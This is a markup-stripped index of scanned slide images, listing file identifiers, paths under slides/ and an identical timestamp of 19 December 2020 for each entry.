S22C-620121019142_0001 + slides/S22C-620121019142_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019142_0001.jpg + + + S22C-620121513162_0001 + slides/S22C-620121513162_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513162_0001.jpg + + + S22C-620121513163_0001 + slides/S22C-620121513163_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513163_0001.jpg + + + S22C-620121018282_0001 + slides/S22C-620121018282_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018282_0001.jpg + + + S22C-620121019041_0001 + slides/S22C-620121019041_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019041_0001.jpg + + + S22C-620121513061_0001 + slides/S22C-620121513061_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513061_0001.jpg + + + S22C-620121019100_0001 + slides/S22C-620121019100_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019100_0001.jpg + + + S22C-620121019101_0001 + slides/S22C-620121019101_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019101_0001.jpg + + + S22C-620121513330_0001 + slides/S22C-620121513330_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513330_0001.jpg + + + S22C-620121513331_0001 + slides/S22C-620121513331_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513331_0001.jpg + + + S22C-620121513132_0001 + slides/S22C-620121513132_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513132_0001.jpg + + + S22C-620121019113_0001 + slides/S22C-620121019113_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019113_0001.jpg + + + S22C-620121019112_0001 + slides/S22C-620121019112_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019112_0001.jpg + + + S22C-620121019052_0001 + slides/S22C-620121019052_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019052_0001.jpg + + + S22C-620121517113_0001 + slides/S22C-620121517113_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517113_0001.jpg + + + S22C-620121516050_0001 + slides/S22C-620121516050_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516050_0001.jpg + + + S22C-620121516051_0001 + slides/S22C-620121516051_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516051_0001.jpg + + + S22C-620121019150_0001 + slides/S22C-620121019150_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019150_0001.jpg + + + S22C-620121517011_0001 + slides/S22C-620121517011_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517011_0001.jpg + + + S22C-620121513171_0001 + slides/S22C-620121513171_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513171_0001.jpg + + + S22C-620121513170_0001 + slides/S22C-620121513170_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513170_0001.jpg + + + S22C-620121517082_0001 + slides/S22C-620121517082_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517082_0001.jpg + + + S22C-620121019083_0001 + slides/S22C-620121019083_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019083_0001.jpg + + + S22C-620121019082_0001 + slides/S22C-620121019082_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019082_0001.jpg + + + S22C-620121513030_0001 + slides/S22C-620121513030_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513030_0001.jpg + + + S22C-620121513031_0001 + slides/S22C-620121513031_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513031_0001.jpg + + + S22C-620121516203_0001 + slides/S22C-620121516203_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516203_0001.jpg + + + S22C-620121515434_0001 + slides/S22C-620121515434_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515434_0001.jpg + + + S22C-620121513202_0001 + slides/S22C-620121513202_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513202_0001.jpg + + + S22C-620121516453_0001 + slides/S22C-620121516453_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516453_0001.jpg + + + S22C-620121515353_0001 + slides/S22C-620121515353_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515353_0001.jpg + + + S22C-620121515461_0001 + slides/S22C-620121515461_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515461_0001.jpg + + + S22C-620121515460_0001 + slides/S22C-620121515460_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515460_0001.jpg + + + S22C-620121513081_0001 + slides/S22C-620121513081_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513081_0001.jpg + + + S22C-620121513080_0001 + slides/S22C-620121513080_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513080_0001.jpg + + + S22C-620121019032_0001 + slides/S22C-620121019032_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019032_0001.jpg + + + S22C-620121018453_0001 + slides/S22C-620121018453_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018453_0001.jpg + + + S22C-620121513241_0001 + slides/S22C-620121513241_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513241_0001.jpg + + + S22C-620121513301_0001 + slides/S22C-620121513301_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513301_0001.jpg + + + S22C-620121517094_0001 + slides/S22C-620121517094_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517094_0001.jpg + + + S22C-620121516483_0001 + slides/S22C-620121516483_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516483_0001.jpg + + + S22C-620121019130_0001 + slides/S22C-620121019130_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019130_0001.jpg + + + S22C-620121513182_0001 + slides/S22C-620121513182_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513182_0001.jpg + + + S22C-620121516262_0001 + slides/S22C-620121516262_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516262_0001.jpg + + + S22C-620121517130_0001 + slides/S22C-620121517130_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517130_0001.jpg + + + S22C-620121517131_0001 + slides/S22C-620121517131_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517131_0001.jpg + + + S22C-620121019070_0001 + slides/S22C-620121019070_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019070_0001.jpg + + + S22C-620121513051_0001 + slides/S22C-620121513051_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513051_0001.jpg + + + S22C-620121019042_0001 + slides/S22C-620121019042_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019042_0001.jpg + + + S22C-620121019043_0001 + slides/S22C-620121019043_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019043_0001.jpg + + + S22C-620121517102_0001 + slides/S22C-620121517102_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517102_0001.jpg + + + S22C-620121513062_0001 + slides/S22C-620121513062_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513062_0001.jpg + + + S22C-620121516423_0001 + slides/S22C-620121516423_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516423_0001.jpg + + + S22C-620121019103_0001 + slides/S22C-620121019103_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019103_0001.jpg + + + S22C-620121513154_0001 + slides/S22C-620121513154_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513154_0001.jpg + + + S22C-620121513332_0001 + slides/S22C-620121513332_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513332_0001.jpg + + + S22C-620121019092_0001 + slides/S22C-620121019092_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019092_0001.jpg + + + S22C-620121513021_0001 + slides/S22C-620121513021_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513021_0001.jpg + + + S22C-620121018460_0001 + slides/S22C-620121018460_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018460_0001.jpg + + + S22C-620121019141_0001 + slides/S22C-620121019141_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019141_0001.jpg + + + S22C-620121516352_0001 + slides/S22C-620121516352_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516352_0001.jpg + + + S22C-620121513161_0001 + slides/S22C-620121513161_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513161_0001.jpg + + + S22C-620121517092_0001 + slides/S22C-620121517092_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517092_0001.jpg + + + S22C-620121515424_0001 + slides/S22C-620121515424_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121515424_0001.jpg + + + S22C-620121513231_0001 + slides/S22C-620121513231_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513231_0001.jpg + + + S22C-620121513230_0001 + slides/S22C-620121513230_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513230_0001.jpg + + + S22C-620121517054_0001 + slides/S22C-620121517054_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517054_0001.jpg + + + S22C-620121018574_0001 + slides/S22C-620121018574_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018574_0001.jpg + + + S22C-620121516591_0001 + slides/S22C-620121516591_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516591_0001.jpg + + + S22C-620121516590_0001 + slides/S22C-620121516590_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516590_0001.jpg + + + S22C-620121018371_0001 + slides/S22C-620121018371_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018371_0001.jpg + + + S22C-620121516230_0001 + slides/S22C-620121516230_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516230_0001.jpg + + + S22C-620121516442_0001 + slides/S22C-620121516442_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516442_0001.jpg + + + S22C-620121513251_0001 + slides/S22C-620121513251_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513251_0001.jpg + + + S22C-620121513250_0001 + slides/S22C-620121513250_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513250_0001.jpg + + + S22C-620121019061_0001 + slides/S22C-620121019061_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019061_0001.jpg + + + S22C-620121513040_0001 + slides/S22C-620121513040_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513040_0001.jpg + + + S22C-620121019120_0001 + slides/S22C-620121019120_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019120_0001.jpg + + + S22C-620121018270_0001 + slides/S22C-620121018270_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018270_0001.jpg + + + S22C-620121018280_0001 + slides/S22C-620121018280_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018280_0001.jpg + + + S22C-620121018302_0001 + slides/S22C-620121018302_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018302_0001.jpg + + + S22C-620121018331_0001 + slides/S22C-620121018331_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018331_0001.jpg + + + S22C-620121018340_0001 + slides/S22C-620121018340_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018340_0001.jpg + + + S22C-620121018342_0001 + slides/S22C-620121018342_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018342_0001.jpg + + + S22C-620121018350_0001 + slides/S22C-620121018350_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018350_0001.jpg + + + S22C-620121018351_0001 + slides/S22C-620121018351_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018351_0001.jpg + + + S22C-620121018360_0001 + slides/S22C-620121018360_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018360_0001.jpg + + + S22C-620121018370_0001 + slides/S22C-620121018370_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018370_0001.jpg + + + S22C-620121018380_0001 + slides/S22C-620121018380_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018380_0001.jpg + + + S22C-620121018381_0001 + slides/S22C-620121018381_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018381_0001.jpg + + + S22C-620121018382_0001 + slides/S22C-620121018382_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018382_0001.jpg + + + S22C-620121018390_0001 + slides/S22C-620121018390_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018390_0001.jpg + + + S22C-620121018391_0001 + slides/S22C-620121018391_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018391_0001.jpg + + + S22C-620121018392_0001 + slides/S22C-620121018392_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018392_0001.jpg + + + S22C-620121018400_0001 + slides/S22C-620121018400_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018400_0001.jpg + + + S22C-620121018401_0001 + slides/S22C-620121018401_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018401_0001.jpg + + + S22C-620121018402_0001 + slides/S22C-620121018402_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018402_0001.jpg + + + S22C-620121018412_0001 + slides/S22C-620121018412_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018412_0001.jpg + + + S22C-620121018413_0001 + slides/S22C-620121018413_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018413_0001.jpg + + + S22C-620121018420_0001 + slides/S22C-620121018420_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018420_0001.jpg + + + S22C-620121018421_0001 + slides/S22C-620121018421_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018421_0001.jpg + + + S22C-620121018422_0001 + slides/S22C-620121018422_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018422_0001.jpg + + + S22C-620121018430_0001 + slides/S22C-620121018430_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018430_0001.jpg + + + S22C-620121018440_0001 + slides/S22C-620121018440_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018440_0001.jpg + + + S22C-620121018442_0001 + slides/S22C-620121018442_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018442_0001.jpg + + + S22C-620121018450_0001 + slides/S22C-620121018450_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018450_0001.jpg + + + S22C-620121018461_0001 + slides/S22C-620121018461_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018461_0001.jpg + + + S22C-620121018463_0001 + slides/S22C-620121018463_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018463_0001.jpg + + + S22C-620121018471_0001 + slides/S22C-620121018471_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018471_0001.jpg + + + S22C-620121018472_0001 + slides/S22C-620121018472_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018472_0001.jpg + + + S22C-620121018480_0001 + slides/S22C-620121018480_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018480_0001.jpg + + + S22C-620121018490_0001 + slides/S22C-620121018490_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018490_0001.jpg + + + S22C-620121018491_0001 + slides/S22C-620121018491_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018491_0001.jpg + + + S22C-620121018492_0001 + slides/S22C-620121018492_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018492_0001.jpg + + + S22C-620121018493_0001 + slides/S22C-620121018493_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018493_0001.jpg + + + S22C-620121018500_0001 + slides/S22C-620121018500_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018500_0001.jpg + + + S22C-620121018501_0001 + slides/S22C-620121018501_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018501_0001.jpg + + + S22C-620121018502_0001 + slides/S22C-620121018502_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018502_0001.jpg + + + S22C-620121018503_0001 + slides/S22C-620121018503_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018503_0001.jpg + + + S22C-620121018504_0001 + slides/S22C-620121018504_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018504_0001.jpg + + + S22C-620121018510_0001 + slides/S22C-620121018510_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018510_0001.jpg + + + S22C-620121018512_0001 + slides/S22C-620121018512_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018512_0001.jpg + + + S22C-620121018513_0001 + slides/S22C-620121018513_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018513_0001.jpg + + + S22C-620121018521_0001 + slides/S22C-620121018521_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018521_0001.jpg + + + S22C-620121018522_0001 + slides/S22C-620121018522_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018522_0001.jpg + + + S22C-620121018524_0001 + slides/S22C-620121018524_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018524_0001.jpg + + + S22C-620121018530_0001 + slides/S22C-620121018530_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018530_0001.jpg + + + S22C-620121018531_0001 + slides/S22C-620121018531_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018531_0001.jpg + + + S22C-620121018533_0001 + slides/S22C-620121018533_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018533_0001.jpg + + + S22C-620121018534_0001 + slides/S22C-620121018534_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018534_0001.jpg + + + S22C-620121018540_0001 + slides/S22C-620121018540_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018540_0001.jpg + + + S22C-620121018541_0001 + slides/S22C-620121018541_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018541_0001.jpg + + + S22C-620121018542_0001 + slides/S22C-620121018542_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018542_0001.jpg + + + S22C-620121018550_0001 + slides/S22C-620121018550_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018550_0001.jpg + + + S22C-620121018552_0001 + slides/S22C-620121018552_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018552_0001.jpg + + + S22C-620121018553_0001 + slides/S22C-620121018553_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018553_0001.jpg + + + S22C-620121018554_0001 + slides/S22C-620121018554_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018554_0001.jpg + + + S22C-620121018560_0001 + slides/S22C-620121018560_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018560_0001.jpg + + + S22C-620121018561_0001 + slides/S22C-620121018561_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018561_0001.jpg + + + S22C-620121018562_0001 + slides/S22C-620121018562_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018562_0001.jpg + + + S22C-620121018563_0001 + slides/S22C-620121018563_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018563_0001.jpg + + + S22C-620121018570_0001 + slides/S22C-620121018570_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018570_0001.jpg + + + S22C-620121018572_0001 + slides/S22C-620121018572_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018572_0001.jpg + + + S22C-620121018580_0001 + slides/S22C-620121018580_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018580_0001.jpg + + + S22C-620121018581_0001 + slides/S22C-620121018581_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018581_0001.jpg + + + S22C-620121018582_0001 + slides/S22C-620121018582_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018582_0001.jpg + + + S22C-620121018583_0001 + slides/S22C-620121018583_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018583_0001.jpg + + + S22C-620121018590_0001 + slides/S22C-620121018590_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018590_0001.jpg + + + S22C-620121018591_0001 + slides/S22C-620121018591_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018591_0001.jpg + + + S22C-620121018592_0001 + slides/S22C-620121018592_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018592_0001.jpg + + + S22C-620121018593_0001 + slides/S22C-620121018593_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121018593_0001.jpg + + + S22C-620121019001_0001 + slides/S22C-620121019001_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019001_0001.jpg + + + S22C-620121019002_0001 + slides/S22C-620121019002_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019002_0001.jpg + + + S22C-620121019003_0001 + slides/S22C-620121019003_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019003_0001.jpg + + + S22C-620121019010_0001 + slides/S22C-620121019010_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019010_0001.jpg + + + S22C-620121019011_0001 + slides/S22C-620121019011_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019011_0001.jpg + + + S22C-620121019013_0001 + slides/S22C-620121019013_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019013_0001.jpg + + + S22C-620121019014_0001 + slides/S22C-620121019014_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019014_0001.jpg + + + S22C-620121019020_0001 + slides/S22C-620121019020_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019020_0001.jpg + + + S22C-620121019022_0001 + slides/S22C-620121019022_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019022_0001.jpg + + + S22C-620121019060_0001 + slides/S22C-620121019060_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019060_0001.jpg + + + S22C-620121019071_0001 + slides/S22C-620121019071_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019071_0001.jpg + + + S22C-620121019072_0001 + slides/S22C-620121019072_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019072_0001.jpg + + + S22C-620121019081_0001 + slides/S22C-620121019081_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019081_0001.jpg + + + S22C-620121019121_0001 + slides/S22C-620121019121_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019121_0001.jpg + + + S22C-620121019122_0001 + slides/S22C-620121019122_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019122_0001.jpg + + + S22C-620121019140_0001 + slides/S22C-620121019140_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121019140_0001.jpg + + + S22C-620121513020_0001 + slides/S22C-620121513020_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513020_0001.jpg + + + S22C-620121513041_0001 + slides/S22C-620121513041_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513041_0001.jpg + + + S22C-620121513050_0001 + slides/S22C-620121513050_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513050_0001.jpg + + + S22C-620121513060_0001 + slides/S22C-620121513060_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513060_0001.jpg + + + S22C-620121513070_0001 + slides/S22C-620121513070_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513070_0001.jpg + + + S22C-620121513071_0001 + slides/S22C-620121513071_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513071_0001.jpg + + + S22C-620121513100_0001 + slides/S22C-620121513100_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513100_0001.jpg + + + S22C-620121513101_0001 + slides/S22C-620121513101_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513101_0001.jpg + + + S22C-620121513110_0001 + slides/S22C-620121513110_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513110_0001.jpg + + + S22C-620121513111_0001 + slides/S22C-620121513111_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513111_0001.jpg + + + S22C-620121513112_0001 + slides/S22C-620121513112_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513112_0001.jpg + + + S22C-620121513120_0001 + slides/S22C-620121513120_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513120_0001.jpg + + + S22C-620121513121_0001 + slides/S22C-620121513121_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513121_0001.jpg + + + S22C-620121513122_0001 + slides/S22C-620121513122_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513122_0001.jpg + + + S22C-620121513130_0001 + slides/S22C-620121513130_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121513130_0001.jpg + + + S22C-620121513141_0001 + slides/S22C-620121513141_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + 